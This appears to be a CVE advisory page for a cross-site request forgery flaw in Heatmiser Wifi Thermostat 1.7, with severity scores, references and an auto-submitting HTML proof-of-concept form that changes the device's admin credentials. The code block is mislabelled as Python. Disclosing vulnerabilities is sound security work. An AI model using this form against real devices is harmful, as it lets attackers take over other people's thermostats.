CVE-2019-25708

Description

Heatmiser Wifi Thermostat 1.7 contains a cross-site request forgery vulnerability that allows attackers to change administrator credentials by tricking authenticated users into submitting malicious requests. Attackers can craft HTML forms targeting the networkSetup.htm endpoint with parameters usnm, usps, and cfps to modify the admin username and password without user consent.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:heatmiser:wifi_thermostat:1.7:*:*:*:*:*:*:* - VULNERABLE

Heatmiser Wifi Thermostat 1.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2019-25708 -->
<!-- Targeting Heatmiser Wifi Thermostat -->
<html>
  <body>
    <form action="http://<target_ip>/networkSetup.htm" method="POST">
      <input type="hidden" name="usnm" value="attacker" />
      <input type="hidden" name="usps" value="newpassword" />
      <input type="hidden" name="cfps" value="newpassword" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      // Auto-submit the form to trigger the vulnerability
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2019-25708
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2019-25708
[3] CVE Details https://www.cvedetails.com/cve/CVE-2019-25708/
[4] VulDB https://vuldb.com/cve/CVE-2019-25708
[5] https://www.exploit-db.com/exploits/46100
[6] https://www.vulncheck.com/advisories/heatmiser-wifi-thermostat-cross-site-request-forgery

Raw JSON Data

JSON

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